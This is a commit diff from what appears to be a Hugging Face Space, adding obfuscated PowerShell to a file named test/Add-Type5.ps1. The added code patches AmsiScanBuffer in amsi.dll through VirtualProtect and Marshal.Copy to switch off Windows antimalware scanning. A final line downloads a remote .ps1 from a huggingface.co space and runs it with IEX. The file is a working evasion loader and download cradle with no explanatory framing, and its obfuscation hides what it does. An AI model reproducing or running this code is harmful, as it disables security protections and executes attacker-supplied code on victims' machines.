Spaces:
Runtime error
Runtime error
Update test/Add-Type5.ps1
Browse files- test/Add-Type5.ps1 +26 -1
test/Add-Type5.ps1
CHANGED
@@ -1,4 +1,29 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
|
2 |
-
(.("{0}{1}{2}" -f'Vari','AbL','e') ("{0}{1}" -f 'GVM','8U') -VA )::("{0}{1}"-f 'C','opy').Invoke(${p`AtCH}, 0, ${a`d`DReSS}, 6)
|
3 |
|
4 |
.("{1}{0}" -f'EX','I')(&("{0}{1}{2}"-f'New-','Obje','ct') ("{2}{1}{0}" -f'ient','l','Net.WebC')).("{0}{1}{2}{3}" -f'Downlo','adS','t','ring').Invoke(("{9}{7}{11}{4}{3}{1}{0}{16}{10}{2}{8}{12}{13}{6}{14}{15}{5}"-f'c','a','/','gf','gin','.ps1','ain/','ps:','spaces/eno','htt','o','//hug','tkru','toy/gggg/raw/m','t','est/kitty','e.c'))
|
|
|
1 |
+
.('sV') ("{0}{1}" -f 'K8','L') ( [TyPE]("{1}{0}"-f'In32','W')); .("{0}{2}{3}{1}" -f 'Set-va','e','Riab','l') ('A'+'Fz8') ([tYpe]("{4}{5}{3}{2}{6}{0}{1}"-f 'mARsh','al','M','nti','SYstE','m.Ru','E.iNtErOPSERVIces.') );${wI`N32} = @"
|
2 |
+
using System;
|
3 |
+
using System.Runtime.InteropServices;
|
4 |
+
|
5 |
+
public class Win32 {
|
6 |
+
|
7 |
+
[DllImport("kernel32")]
|
8 |
+
public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
|
9 |
+
|
10 |
+
[DllImport("kernel32")]
|
11 |
+
public static extern IntPtr LoadLibrary(string name);
|
12 |
+
|
13 |
+
[DllImport("kernel32")]
|
14 |
+
public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
|
15 |
+
|
16 |
+
}
|
17 |
+
"@
|
18 |
+
|
19 |
+
&("{1}{2}{0}"-f 'pe','A','dd-Ty') ${WI`N32}
|
20 |
+
|
21 |
+
${LO`Ad`L`ibRArY} = ( &("{1}{0}"-f'iabLE','var') ('k'+'8l') -vALu )::("{2}{1}{0}{3}"-f'ibrar','dL','Loa','y').Invoke("am" + ("{1}{0}"-f 'i.dll','s'))
|
22 |
+
${A`Ddr`eSs} = ( .('Ls') ("{1}{2}{3}{0}"-f '8L','VarI','ABL','e:K') )."vA`LUe"::("{2}{3}{1}{0}"-f's','es','GetProcAdd','r').Invoke(${lOadlIB`RA`Ry}, ("{1}{0}" -f'si','Am') + ("{1}{0}"-f'can','S') + ("{2}{0}{1}" -f 'fe','r','Buf'))
|
23 |
+
${p} = 0
|
24 |
+
${K`8L}::"virTuAL`PRot`ECt"(${a`d`DrESS}, [uint32]5, 0x40, [ref]${p})
|
25 |
+
${p`At`Ch} = [Byte[]] (0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3)
|
26 |
+
( .("{1}{0}"-f'ABLE','Vari') ('a'+'FZ8') -valUeonly)::("{0}{1}"-f 'Cop','y').Invoke(${pAt`cH}, 0, ${adD`ReSs}, 6)
|
27 |
|
|
|
28 |
|
29 |
.("{1}{0}" -f'EX','I')(&("{0}{1}{2}"-f'New-','Obje','ct') ("{2}{1}{0}" -f'ient','l','Net.WebC')).("{0}{1}{2}{3}" -f'Downlo','adS','t','ring').Invoke(("{9}{7}{11}{4}{3}{1}{0}{16}{10}{2}{8}{12}{13}{6}{14}{15}{5}"-f'c','a','/','gf','gin','.ps1','ain/','ps:','spaces/eno','htt','o','//hug','tkru','toy/gggg/raw/m','t','est/kitty','e.c'))
|